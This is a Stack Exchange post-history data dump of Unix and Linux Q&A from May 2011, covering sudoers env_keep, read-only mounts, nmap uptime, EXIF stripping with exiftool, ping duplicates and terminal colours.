  <row Id="32742" PostHistoryTypeId="2" PostId="13240" RevisionGUID="5cbcdc2e-27d7-4207-aadf-8495c2aa2326" CreationDate="2011-05-16T06:45:13.583" UserId="5454" Text="Hi folks,&#xD;&#xA;&#xD;&#xA;Is there any way to specify that `sudo` should preserve certain environment variables for specified commands only?  For some purposes I'd like my `$HOME` env. variable preserved when I run certain commands -- for other purposes and other commands, I want it reset.  Can this be done with `/etc/sudoers`?&#xD;&#xA;&#xD;&#xA;cheers!&#xD;&#xA;&#xD;&#xA;simon" />
  <row Id="32743" PostHistoryTypeId="1" PostId="13240" RevisionGUID="5cbcdc2e-27d7-4207-aadf-8495c2aa2326" CreationDate="2011-05-16T06:45:13.583" UserId="5454" Text="`/etc/sudoers` -- specify `env_keep` for one command only?" />
  <row Id="32744" PostHistoryTypeId="3" PostId="13240" RevisionGUID="5cbcdc2e-27d7-4207-aadf-8495c2aa2326" CreationDate="2011-05-16T06:45:13.583" UserId="5454" Text="ésudoàésudoersà" />
  <row Id="32747" PostHistoryTypeId="14" PostId="13239" RevisionGUID="f7feccd9-c845-4496-8e90-b7f8664af2bd" CreationDate="2011-05-16T07:05:23.603" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="32748" PostHistoryTypeId="17" PostId="13239" RevisionGUID="9ff2a9ed-d562-425c-8210-52872e38daac" CreationDate="2011-05-16T07:05:23.603" UserId="73" Comment="to http://security.stackexchange.com/questions/3851/can-a-file-contain-its-md5sum-inside-it" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32749" PostHistoryTypeId="10" PostId="13239" RevisionGUID="fb5dd58c-f721-4b9f-b875-01965d5c9741" CreationDate="2011-05-16T07:05:22.950" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32750" PostHistoryTypeId="6" PostId="13232" RevisionGUID="e0cdd428-a38c-41f2-8c4e-dae63dc6434c" CreationDate="2011-05-16T07:20:13.223" UserId="885" Comment="edited tags" Text="ékeyboardàéconsoleàéframebufferà" />
  <row Id="32751" PostHistoryTypeId="2" PostId="13242" RevisionGUID="1c5af7a3-3bf2-499f-81be-d74fecc03cf1" CreationDate="2011-05-16T07:26:50.503" UserId="885" Text="Did you put an ext2/ext3/ext4 filesystem on the drive? If so, it can automatically become mounted read-only if there are input/output errors. This comes from the `remount-ro` mount option (however, I think this option doesn't exist for (v)fat, which is usually used on boot media). Check in your kernel logs (typically `/var/log/kern.log`) for errors concerning `/dev/sdb` (or whatever `/dev/*` is that USB drive).&#xD;&#xA;&#xD;&#xA;You can try `mount -o remount,rw /mount/point` to access the drive as read-write again, or simply unmount and remount. However, note that if this is the cause of the read-only mount, then the system did it because there was an error, to stop the situation from becoming worse, so there's a small chance the filesystem might not be salvageable anymore. Also, if the error was due to a hardware defect, you should replace the hardware, of course.&#xD;&#xA;" />
  <row Id="32752" PostHistoryTypeId="2" PostId="13243" RevisionGUID="d6f172f9-7954-4398-8020-2f510909954d" CreationDate="2011-05-16T07:26:53.060" UserId="7374" Text="man sudoers:&#xD;&#xA;&#xD;&#xA;       env_reset       If set, sudo will reset the environment to only contain&#xD;&#xA;                       the LOGNAME, SHELL, USER, USERNAME and the SUDO_*&#xD;&#xA;                       variables.  Any variables in the caller’s environment&#xD;&#xA;                       that match the env_keep and env_check lists are then&#xD;&#xA;                       added.  The default contents of the env_keep and&#xD;&#xA;                       env_check lists are displayed when sudo is run by root&#xD;&#xA;                       with the -V option.  If the secure_path option is set,&#xD;&#xA;                       its value will be used for the PATH environment&#xD;&#xA;                       variable.  This flag is on by default.&#xD;&#xA;&#xD;&#xA;Therefore yes, you can do that using `env_reset`, `env_keep` and `env_check` in your /etc/sudoers.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32753" PostHistoryTypeId="6" PostId="13225" RevisionGUID="bfd226fe-77a9-41fd-8c5b-79a1c21a32b5" CreationDate="2011-05-16T07:28:26.040" UserId="885" Comment="edited tags" Text="éfilesystemsàémountàéusbödriveà" />
  <row Id="32754" PostHistoryTypeId="6" PostId="13236" RevisionGUID="740a5171-32bf-4ce6-8f4b-163b57671a79" CreationDate="2011-05-16T07:28:56.930" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàécentosàéipà" />
  <row Id="32755" PostHistoryTypeId="5" PostId="13217" RevisionGUID="83079395-46c2-4066-81ad-6b27bed208c5" CreationDate="2011-05-16T07:30:16.820" UserId="885" Comment="deleted 170 characters in body; edited tags" Text="I'd like to make a simple movie with my kids.  I've taken some pictures of toys and cropped them to be the characters.  I'd like to make a movie where these move against some background (ie the characters _themselves_ are not animated but move &quot;as a whole&quot;).  Finding such a program seems beyond my search capabilities.&#xD;&#xA;&#xD;&#xA;Does anyone know of a good program for doing this, preferably one that is simple enough that my (young) kids can follow along with what I'm doing (I wouldn't go so far as to expect them to be able to do it, but it needs to be close enough that they won't get bored; so `blender` is probably not suitable)." />
  <row Id="32756" PostHistoryTypeId="6" PostId="13217" RevisionGUID="83079395-46c2-4066-81ad-6b27bed208c5" CreationDate="2011-05-16T07:30:16.820" UserId="885" Comment="deleted 170 characters in body; edited tags" Text="ésoftwareörecàéimageömanipulationàévideoöeditingà" />
  <row Id="32757" PostHistoryTypeId="2" PostId="13244" RevisionGUID="d1b6fd69-e19d-4043-9556-14f931ef9f86" CreationDate="2011-05-16T07:33:25.443" UserId="7374" Text="It will work. It will be slow." />
  <row Id="32758" PostHistoryTypeId="2" PostId="13245" RevisionGUID="a16c7dea-9258-444a-a53b-f293da2f770a" CreationDate="2011-05-16T07:40:37.607" UserId="6960" Text="I'm searching a GUI [or CLI] tool that can produce output _like the Total Commander compare content_ function does!&lt;br&gt;&#xD;&#xA;Image: http://img638.imageshack.us/img638/6698/tcdiff.png&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there any?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;It's a very handy tool and I miss it!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks!" />
  <row Id="32759" PostHistoryTypeId="1" PostId="13245" RevisionGUID="a16c7dea-9258-444a-a53b-f293da2f770a" CreationDate="2011-05-16T07:40:37.607" UserId="6960" Text="Total Commander &quot;compare content&quot; like alternative?" />
  <row Id="32760" PostHistoryTypeId="3" PostId="13245" RevisionGUID="a16c7dea-9258-444a-a53b-f293da2f770a" CreationDate="2011-05-16T07:40:37.607" UserId="6960" Text="édiffà" />
  <row Id="32761" PostHistoryTypeId="2" PostId="13246" RevisionGUID="91afd228-81b9-4c5b-9b22-a2bc65663352" CreationDate="2011-05-16T07:42:01.130" UserId="885" Text="To override `env_keep` only for `/path/to/command` (when invoked through any rule, by any user) and for the user `joe` (no matter what command he is running):&#xD;&#xA;&#xD;&#xA;    Defaults!/path/to/command env_keep=HOME&#xD;&#xA;    Defaults:joe env_keep=HOME&#xD;&#xA;&#xD;&#xA;You can use `-=` or `+=` to remove or add an entry to the `env_keep` list.&#xD;&#xA;" />
  <row Id="32762" PostHistoryTypeId="6" PostId="13240" RevisionGUID="a43ee5f8-3e2f-46a2-9be9-222b39acdebc" CreationDate="2011-05-16T07:42:40.723" UserId="885" Comment="edited tags" Text="ésudoà" />
  <row Id="32763" PostHistoryTypeId="2" PostId="13247" RevisionGUID="330f8a20-89b1-4c79-a9d0-f2030de19af0" CreationDate="2011-05-16T08:20:29.723" UserId="6960" Text="If I nmap a host, then it outputs an &quot;Uptime&quot; too. What does it mean, is it trustable? Does it gives correct times?" />
  <row Id="32764" PostHistoryTypeId="1" PostId="13247" RevisionGUID="330f8a20-89b1-4c79-a9d0-f2030de19af0" CreationDate="2011-05-16T08:20:29.723" UserId="6960" Text="nmap output: what does &quot;uptime&quot; mean?" />
  <row Id="32765" PostHistoryTypeId="3" PostId="13247" RevisionGUID="330f8a20-89b1-4c79-a9d0-f2030de19af0" CreationDate="2011-05-16T08:20:29.723" UserId="6960" Text="ésecurityà" />
  <row Id="32766" PostHistoryTypeId="2" PostId="13248" RevisionGUID="337a03b9-fa52-4655-937f-47429b698a93" CreationDate="2011-05-16T08:35:36.607" UserId="250" Text="Uptime is the time that the system has been &quot;up&quot; and running. So, an uptime of 100 hours means the machine has been running non-stop for 100 hours.&#xD;&#xA;&#xD;&#xA;Nmap guesses the uptime of the system. According to the [Usage and Examples][1] page:&#xD;&#xA;&#xD;&#xA;&gt; The uptime guess is labeled a “guess” because various factors can make it completely inaccurate.&#xD;&#xA;&#xD;&#xA;I take that to mean it's not trustable. It can be helpful, though.&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/book/osdetect-usage.html#id457601" />
  <row Id="32767" PostHistoryTypeId="2" PostId="13249" RevisionGUID="901b8b22-3758-4167-bfab-13a4ca6b668c" CreationDate="2011-05-16T08:48:07.110" UserId="6960" Text="http://www.immunityinc.com/products-silica.shtml&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The windows looks like its related to Ubuntu/GNOME&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;How to install this software on Ubuntu?" />
  <row Id="32768" PostHistoryTypeId="1" PostId="13249" RevisionGUID="901b8b22-3758-4167-bfab-13a4ca6b668c" CreationDate="2011-05-16T08:48:07.110" UserId="6960" Text="where to get SILICA?" />
  <row Id="32769" PostHistoryTypeId="3" PostId="13249" RevisionGUID="901b8b22-3758-4167-bfab-13a4ca6b668c" CreationDate="2011-05-16T08:48:07.110" UserId="6960" Text="ésecurityà" />
  <row Id="32770" PostHistoryTypeId="2" PostId="13250" RevisionGUID="78449a86-cf1c-4182-b4d0-439e31a9c362" CreationDate="2011-05-16T09:12:06.413" UserId="7521" Text="OpenVPN FTW!!!&#xD;&#xA;&#xD;&#xA;Tested and working flawlessly! Low resources needed, highly scalable, very secure... just AWESOME!!" />
  <row Id="32771" PostHistoryTypeId="25" PostId="13247" RevisionGUID="6cbc0250-f0e4-416b-b26d-8782ac41017e" CreationDate="2011-05-16T09:12:13.917" Comment="http://twitter.com/#!/StackUnix/status/70053931832721408" />
  <row Id="32772" PostHistoryTypeId="2" PostId="13251" RevisionGUID="e6dca159-8f54-4a17-a6ce-6e88e58029df" CreationDate="2011-05-16T10:02:50.353" UserId="6960" Text="How can I recursively remove the EXIF info from my several thousand JPG file?" />
  <row Id="32773" PostHistoryTypeId="1" PostId="13251" RevisionGUID="e6dca159-8f54-4a17-a6ce-6e88e58029df" CreationDate="2011-05-16T10:02:50.353" UserId="6960" Text="Batch delete exif info" />
  <row Id="32774" PostHistoryTypeId="3" PostId="13251" RevisionGUID="e6dca159-8f54-4a17-a6ce-6e88e58029df" CreationDate="2011-05-16T10:02:50.353" UserId="6960" Text="élinuxàébashàéimageömanipulationà" />
  <row Id="32775" PostHistoryTypeId="2" PostId="13252" RevisionGUID="0cf429ef-6548-4309-8e25-d1bd0799b350" CreationDate="2011-05-16T10:14:00.970" UserId="7517" Text="Hi,&#xD;&#xA;&#xD;&#xA;You should look at some opensource tools like [exiftool][1]. There is a lot of option (for exif, xmp, iptc).&#xD;&#xA;&#xD;&#xA;    exiftool -overwrite_original \&#xD;&#xA;    -xmp:Creator='votre nom' \&#xD;&#xA;    -xmp:WebStatement='http://creativecommons.org/licenses/by-nc-nd/3.0/' \&#xD;&#xA;    -xmp:Rights='Copyright votre nom. This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0  License.' \&#xD;&#xA;    -iptc:By-line='votre nom' \&#xD;&#xA;    -iptc:CopyrightNotice='Copyright votre nom. This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0  License.' \&#xD;&#xA;    -exif:Artist='votre nom' \&#xD;&#xA;    -exif:Copyright='Copyright votre nom. This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0  License.' \&#xD;&#xA;    votre_fichier.jpg&#xD;&#xA;&#xD;&#xA;The only thing you should do next, is to write a tiny script that list your files (jpg) and does the stuff. To remove the content of a field you'll have to set it to &quot; ^&quot; ; like the following example.&#xD;&#xA;&#xD;&#xA;    -Software= ^&#xD;&#xA;    -ModifyDate= ^&#xD;&#xA;    -CreatorTool= ^&#xD;&#xA;    -MetadataDate= ^&#xD;&#xA;    -Rating= ^&#xD;&#xA;    -ImageNumber= ^&#xD;&#xA;    -WhiteBalance= ^&#xD;&#xA;    -Temperature= ^&#xD;&#xA;    -Tint= ^&#xD;&#xA;    -IncrementalTemperature= ^&#xD;&#xA;    -IncrementalTint= ^&#xD;&#xA;    -Exposure= ^&#xD;&#xA;    -Shadows= ^&#xD;&#xA;    -Brightness= ^&#xD;&#xA;    -Contrast= ^&#xD;&#xA;    -Saturation= ^&#xD;&#xA;    -Sharpness= ^&#xD;&#xA;    -LuminanceSmoothing= ^&#xD;&#xA;    -ColorNoiseReduction= ^&#xD;&#xA;    -ChromaticAberrationR= ^&#xD;&#xA;    -ChromaticAberrationB= ^&#xD;&#xA;    -VignetteAmount= ^&#xD;&#xA;    -VignetteMidpoint= ^&#xD;&#xA;    -ShadowTint= ^&#xD;&#xA;    -RedHue= ^&#xD;&#xA;    -RedSaturation= ^-GreenHue= ^&#xD;&#xA;    -GreenSaturation= ^&#xD;&#xA;    -BlueHue= ^&#xD;&#xA;    -BlueSaturation= ^&#xD;&#xA;    -FillLight= ^&#xD;&#xA;    -Vibrance= ^&#xD;&#xA;    -HighlightRecovery= ^&#xD;&#xA;    -Clarity= ^&#xD;&#xA;    -Defringe= ^&#xD;&#xA;    -HueAdjustmentRed= ^&#xD;&#xA;    -HueAdjustmentOrange= ^&#xD;&#xA;    -HueAdjustmentYellow= ^&#xD;&#xA;    -HueAdjustmentGreen= ^&#xD;&#xA;    -HueAdjustmentAqua= ^&#xD;&#xA;    -HueAdjustmentBlue= ^&#xD;&#xA;    -HueAdjustmentPurple= ^&#xD;&#xA;    -HueAdjustmentMagenta= ^&#xD;&#xA;    -SaturationAdjustmentRed= ^&#xD;&#xA;    -SaturationAdjustmentOrange= ^&#xD;&#xA;    -SaturationAdjustmentYellow= ^&#xD;&#xA;    -SaturationAdjustmentGreen= ^&#xD;&#xA;    -SaturationAdjustmentAqua= ^&#xD;&#xA;    -SaturationAdjustmentBlue= ^&#xD;&#xA;    -SaturationAdjustmentPurple= ^&#xD;&#xA;    -SaturationAdjustmentMagenta= ^&#xD;&#xA;    -LuminanceAdjustmentRed= ^&#xD;&#xA;    -LuminanceAdjustmentOrange= ^&#xD;&#xA;    -LuminanceAdjustmentYellow= ^&#xD;&#xA;    -LuminanceAdjustmentGreen= ^&#xD;&#xA;    -LuminanceAdjustmentAqua= ^&#xD;&#xA;    -LuminanceAdjustmentBlue= ^&#xD;&#xA;    -LuminanceAdjustmentPurple= ^&#xD;&#xA;    -LuminanceAdjustmentMagenta= ^&#xD;&#xA;    -SplitToningShadowHue= ^&#xD;&#xA;    -SplitToningShadowSaturation= ^&#xD;&#xA;    -SplitToningHighlightHue= ^&#xD;&#xA;    -SplitToningHighlightSaturation= ^&#xD;&#xA;    -SplitToningBalance= ^&#xD;&#xA;    -ParametricShadows= ^&#xD;&#xA;    -ParametricDarks= ^&#xD;&#xA;    -ParametricLights= ^&#xD;&#xA;    -ParametricHighlights= ^&#xD;&#xA;    -ParametricShadowSplit= ^&#xD;&#xA;    -ParametricMidtoneSplit= ^&#xD;&#xA;    -ParametricHighlightSplit= ^&#xD;&#xA;    -SharpenRadius= ^&#xD;&#xA;    -SharpenDetail= ^&#xD;&#xA;    -SharpenEdgeMasking= ^&#xD;&#xA;    -ConvertToGrayscale= ^&#xD;&#xA;    -ToneCurveName= ^&#xD;&#xA;    -CameraProfile= ^&#xD;&#xA;    -HasSettings= ^&#xD;&#xA;    -CropTop= ^&#xD;&#xA;    -CropLeft= ^&#xD;&#xA;    -CropBottom= ^&#xD;&#xA;    -CropRight= ^&#xD;&#xA;    -CropAngle= ^&#xD;&#xA;    -CropWidth= ^&#xD;&#xA;    -CropHeight= ^&#xD;&#xA;    -CropUnit= ^&#xD;&#xA;    -HasCrop= ^&#xD;&#xA;    -AlreadyApplied= ^&#xD;&#xA;    -ToneCurve= ^&#xD;&#xA;    -CameraProfile= ^&#xD;&#xA;    -ApplicationRecordVersion= ^&#xD;&#xA;&#xD;&#xA;This might be a Superuser question as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://owl.phy.queensu.ca/~phil/exiftool/" />
  <row Id="32776" PostHistoryTypeId="2" PostId="13253" RevisionGUID="602b0cd8-ce3e-4c0b-80ae-8c657bf739a7" CreationDate="2011-05-16T10:17:51.873" UserId="434" Text="Some OS's use uptime of the machine as a base of sequence numbers in certain packets.  That's technically an information leak, but they do it anyway for backwards compatibility's sake.  So these cases, uptime observed by NMap is actually quite accurate." />
  <row Id="32777" PostHistoryTypeId="5" PostId="13252" RevisionGUID="49fea553-dc98-4ccd-a8dd-f037adc10550" CreationDate="2011-05-16T11:09:44.597" UserId="1925" Comment="deleted 54 characters in body" Text="You should look at some opensource tools like [exiftool][1]. There is a lot of option (for exif, xmp, iptc).&#xD;&#xA;&#xD;&#xA;    exiftool -overwrite_original \&#xD;&#xA;    -xmp:Creator='votre nom' \&#xD;&#xA;    -xmp:WebStatement='http://creativecommons.org/licenses/by-nc-nd/3.0/' \&#xD;&#xA;    -xmp:Rights='Copyright votre nom. This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0  License.' \&#xD;&#xA;    -iptc:By-line='votre nom' \&#xD;&#xA;    -iptc:CopyrightNotice='Copyright votre nom. This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0  License.' \&#xD;&#xA;    -exif:Artist='votre nom' \&#xD;&#xA;    -exif:Copyright='Copyright votre nom. This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0  License.' \&#xD;&#xA;    votre_fichier.jpg&#xD;&#xA;&#xD;&#xA;The only thing you should do next is to write a tiny script that lists your files (jpg) and does the stuff. To remove the content of a field you'll have to set it to &quot; ^&quot; ; like the following example:&#xD;&#xA;&#xD;&#xA;    -Software= ^&#xD;&#xA;    -ModifyDate= ^&#xD;&#xA;    -CreatorTool= ^&#xD;&#xA;    -MetadataDate= ^&#xD;&#xA;    -Rating= ^&#xD;&#xA;    -ImageNumber= ^&#xD;&#xA;    -WhiteBalance= ^&#xD;&#xA;    -Temperature= ^&#xD;&#xA;    -Tint= ^&#xD;&#xA;    -IncrementalTemperature= ^&#xD;&#xA;    -IncrementalTint= ^&#xD;&#xA;    -Exposure= ^&#xD;&#xA;    -Shadows= ^&#xD;&#xA;    -Brightness= ^&#xD;&#xA;    -Contrast= ^&#xD;&#xA;    -Saturation= ^&#xD;&#xA;    -Sharpness= ^&#xD;&#xA;    -LuminanceSmoothing= ^&#xD;&#xA;    -ColorNoiseReduction= ^&#xD;&#xA;    -ChromaticAberrationR= ^&#xD;&#xA;    -ChromaticAberrationB= ^&#xD;&#xA;    -VignetteAmount= ^&#xD;&#xA;    -VignetteMidpoint= ^&#xD;&#xA;    -ShadowTint= ^&#xD;&#xA;    -RedHue= ^&#xD;&#xA;    -RedSaturation= ^-GreenHue= ^&#xD;&#xA;    -GreenSaturation= ^&#xD;&#xA;    -BlueHue= ^&#xD;&#xA;    -BlueSaturation= ^&#xD;&#xA;    -FillLight= ^&#xD;&#xA;    -Vibrance= ^&#xD;&#xA;    -HighlightRecovery= ^&#xD;&#xA;    -Clarity= ^&#xD;&#xA;    -Defringe= ^&#xD;&#xA;    -HueAdjustmentRed= ^&#xD;&#xA;    -HueAdjustmentOrange= ^&#xD;&#xA;    -HueAdjustmentYellow= ^&#xD;&#xA;    -HueAdjustmentGreen= ^&#xD;&#xA;    -HueAdjustmentAqua= ^&#xD;&#xA;    -HueAdjustmentBlue= ^&#xD;&#xA;    -HueAdjustmentPurple= ^&#xD;&#xA;    -HueAdjustmentMagenta= ^&#xD;&#xA;    -SaturationAdjustmentRed= ^&#xD;&#xA;    -SaturationAdjustmentOrange= ^&#xD;&#xA;    -SaturationAdjustmentYellow= ^&#xD;&#xA;    -SaturationAdjustmentGreen= ^&#xD;&#xA;    -SaturationAdjustmentAqua= ^&#xD;&#xA;    -SaturationAdjustmentBlue= ^&#xD;&#xA;    -SaturationAdjustmentPurple= ^&#xD;&#xA;    -SaturationAdjustmentMagenta= ^&#xD;&#xA;    -LuminanceAdjustmentRed= ^&#xD;&#xA;    -LuminanceAdjustmentOrange= ^&#xD;&#xA;    -LuminanceAdjustmentYellow= ^&#xD;&#xA;    -LuminanceAdjustmentGreen= ^&#xD;&#xA;    -LuminanceAdjustmentAqua= ^&#xD;&#xA;    -LuminanceAdjustmentBlue= ^&#xD;&#xA;    -LuminanceAdjustmentPurple= ^&#xD;&#xA;    -LuminanceAdjustmentMagenta= ^&#xD;&#xA;    -SplitToningShadowHue= ^&#xD;&#xA;    -SplitToningShadowSaturation= ^&#xD;&#xA;    -SplitToningHighlightHue= ^&#xD;&#xA;    -SplitToningHighlightSaturation= ^&#xD;&#xA;    -SplitToningBalance= ^&#xD;&#xA;    -ParametricShadows= ^&#xD;&#xA;    -ParametricDarks= ^&#xD;&#xA;    -ParametricLights= ^&#xD;&#xA;    -ParametricHighlights= ^&#xD;&#xA;    -ParametricShadowSplit= ^&#xD;&#xA;    -ParametricMidtoneSplit= ^&#xD;&#xA;    -ParametricHighlightSplit= ^&#xD;&#xA;    -SharpenRadius= ^&#xD;&#xA;    -SharpenDetail= ^&#xD;&#xA;    -SharpenEdgeMasking= ^&#xD;&#xA;    -ConvertToGrayscale= ^&#xD;&#xA;    -ToneCurveName= ^&#xD;&#xA;    -CameraProfile= ^&#xD;&#xA;    -HasSettings= ^&#xD;&#xA;    -CropTop= ^&#xD;&#xA;    -CropLeft= ^&#xD;&#xA;    -CropBottom= ^&#xD;&#xA;    -CropRight= ^&#xD;&#xA;    -CropAngle= ^&#xD;&#xA;    -CropWidth= ^&#xD;&#xA;    -CropHeight= ^&#xD;&#xA;    -CropUnit= ^&#xD;&#xA;    -HasCrop= ^&#xD;&#xA;    -AlreadyApplied= ^&#xD;&#xA;    -ToneCurve= ^&#xD;&#xA;    -CameraProfile= ^&#xD;&#xA;    -ApplicationRecordVersion= ^&#xD;&#xA;&#xD;&#xA;  [1]: http://owl.phy.queensu.ca/~phil/exiftool/" />
  <row Id="32778" PostHistoryTypeId="2" PostId="13254" RevisionGUID="3f568ab4-fc2b-4234-ac53-d401d7b7117a" CreationDate="2011-05-16T11:09:45.030" UserId="6960" Text="what could DUP mean when using ping?" />
  <row Id="32779" PostHistoryTypeId="1" PostId="13254" RevisionGUID="3f568ab4-fc2b-4234-ac53-d401d7b7117a" CreationDate="2011-05-16T11:09:45.030" UserId="6960" Text="what could DUP mean when using ping?" />
  <row Id="32780" PostHistoryTypeId="3" PostId="13254" RevisionGUID="3f568ab4-fc2b-4234-ac53-d401d7b7117a" CreationDate="2011-05-16T11:09:45.030" UserId="6960" Text="épingà" />
  <row Id="32781" PostHistoryTypeId="2" PostId="13255" RevisionGUID="ab88aff6-5172-4373-a16c-e2b37ba6f269" CreationDate="2011-05-16T11:15:26.293" UserId="1925" Text="Vincents suggestion of using exiftool is good. I suggest you write a script that accepts a single argument of a filename, and runs your desired strip functions on that. Then use `find` to execute this script on your file set. The script would look something like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    exiftool -overwrite_original -ExifFieldName=^ [-MoreExifFieldNames=^] $1&#xD;&#xA;&#xD;&#xA;Say you save this as `/usr/local/bin/strip_exif.sh`, you could then call it by going to the folder that has your jpeg files like this:&#xD;&#xA;&#xD;&#xA;    find -type f -iname '*.jpg' -exec strip_exif.sh {} \;" />
  <row Id="32782" PostHistoryTypeId="2" PostId="13256" RevisionGUID="6924077b-a166-48e1-b4cb-6f60bce1740a" CreationDate="2011-05-16T11:16:26.387" UserId="1339" Text="DUP means duplicate packet.&#xD;&#xA;&#xD;&#xA;From `man ping`:&#xD;&#xA;&#xD;&#xA;&gt; Duplicate and Damaged Packets&#xD;&#xA;&gt; &#xD;&#xA;&gt; ping will report duplicate and damaged&#xD;&#xA;&gt; packets. Duplicate packets should&#xD;&#xA;&gt; never occur, and seem to be caused by&#xD;&#xA;&gt; inappropriate link-level&#xD;&#xA;&gt; retransmissions. Duplicates may occur&#xD;&#xA;&gt; in many situations and are rarely (if&#xD;&#xA;&gt; ever) a good sign, although the&#xD;&#xA;&gt; presence of low levels of duplicates&#xD;&#xA;&gt; may not always be cause for alarm.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Damaged packets are obviously serious&#xD;&#xA;&gt; cause for alarm and often indicate&#xD;&#xA;&gt; broken hardware somewhere in the ping&#xD;&#xA;&gt; packet's path (in the network or in&#xD;&#xA;&gt; the hosts).&#xD;&#xA;&#xD;&#xA;There are different reasons for this, did you capture your network traffic with an interface in promiscous mode? Sometimes this is the reason for dupplicated packets." />
  <row Id="32783" PostHistoryTypeId="2" PostId="13257" RevisionGUID="12ff5738-1221-443f-a441-1aa549507500" CreationDate="2011-05-16T11:18:19.787" UserId="1925" Text="It means the reply packet is a duplicate. Each ICMP packet sent out to pint a host has a sequence number that is returned with the response. Sometimes you'll actually get more than one reply. This is usually caused by faulty networks. Wireless networks often rely on re-sending packets if they don't get proper verification, and if the first one actually worked, the re-send will be a duplicate. In normal usage duplicates are discarded. In ping replies they are noted because they tell you something about how the network is functioning. For example, if you are getting 100% duplicates some fault detection mechanism is likely broken." />
  <row Id="32784" PostHistoryTypeId="2" PostId="13258" RevisionGUID="f6cc6e28-33a8-4b1e-a1e4-9b4c08ebe17f" CreationDate="2011-05-16T11:30:45.430" UserId="7477" Text="I have a problem with dark-blue color in vim or ls output. Because I'm using black background color, words colored in dark-blue are almost completely invisible. How to better address this problem?" />
  <row Id="32785" PostHistoryTypeId="1" PostId="13258" RevisionGUID="f6cc6e28-33a8-4b1e-a1e4-9b4c08ebe17f" CreationDate="2011-05-16T11:30:45.430" UserId="7477" Text="Dark blue color in vim or ls output in linux" />
  <row Id="32786" PostHistoryTypeId="3" PostId="13258" RevisionGUID="f6cc6e28-33a8-4b1e-a1e4-9b4c08ebe17f" CreationDate="2011-05-16T11:30:45.430" UserId="7477" Text="élinuxàécolorsàécustomiseà" />
  <row Id="32787" PostHistoryTypeId="2" PostId="13259" RevisionGUID="0a4815c0-87d4-49e7-9505-9dbe24c4b212" CreationDate="2011-05-16T11:36:04.490" UserId="1925" Text="If you inform vim that you are using a black background (or otherwise dark theme) it will lighten up all the colors so they are readable:&#xD;&#xA;&#xD;&#xA;    :set bg=dark" />
  <row Id="32788" PostHistoryTypeId="5" PostId="13258" RevisionGUID="61dd454f-c4e0-46b4-a92b-9229b446f200" CreationDate="2011-05-16T11:36:39.030" UserId="1925" Comment="edited body" Text="I have a problem with dark-blue color in `vim` or `ls` output. Because I'm using black background color, words colored in dark-blue are almost completely invisible. How can I address this problem?" />
  <row Id="32789" PostHistoryTypeId="2" PostId="13260" RevisionGUID="8e8521ed-4043-4ff5-b42d-a5ed052c40e4" CreationDate="2011-05-16T11:36:44.130" UserId="7523" Text="I want to run some commands at boot time. Can anyone tell me how can I run those commands at startup time? Please help me. Thanks in advance. " />
  <row Id="32790" PostHistoryTypeId="1" PostId="13260" RevisionGUID="8e8521ed-4043-4ff5-b42d-a5ed052c40e4" CreationDate="2011-05-16T11:36:44.130" UserId="7523" Text="how to run command at startup in linux?" />
  <row Id="32791" PostHistoryTypeId="3" PostId="13260" RevisionGUID="8e8521ed-4043-4ff5-b42d-a5ed052c40e4" CreationDate="2011-05-16T11:36:44.130" UserId="7523" Text="élinuxà" />
  <row Id="32792" PostHistoryTypeId="5" PostId="10722" RevisionGUID="71dd98ad-ab76-413a-87fa-5cb4e83477b6" CreationDate="2011-05-16T11:43:06.557" UserId="885" Comment="link to older answer with reset string configuration" Text="Each terminal emulator has its own way of setting color shades (or not). Xterm uses X resources, some of the newer emulators have dialog boxes, some have configuration files.&#xD;&#xA;&#xD;&#xA;In Konsole, edit the color scheme in your profile (from the menu: “Settings / Edit current profile”, “Appearance” tab, select a color theme and edit it or make a new one).&#xD;&#xA;&#xD;&#xA;There is a common [control sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) to set the shade associated with a color number from the application: `OSC 4 ; c ; spec BEL` where `OSC` is `ESC ]`, `c` is the color number and `spec` is a color spec such as #RGB.&#xD;&#xA;&#xD;&#xA;    printf %b '\e]4;4;#6495ed\a'  # set the blue shade to CornflowerBlue&#xD;&#xA;&#xD;&#xA;A change by the application is only effective until the next terminal reset. If you use this method (only recommended if your terminal lacks a configuration mechanism), to make the change effectively persistent, [append the color configuration escape sequence to your terminal's reset string](http://unix.stackexchange.com/questions/5936/can-i-set-my-local-machines-terminal-colors-to-use-those-of-the-machine-i-ssh-in/5937#5937) (termcap: `r1` string; terminfo: `rs1` string).&#xD;&#xA;" />
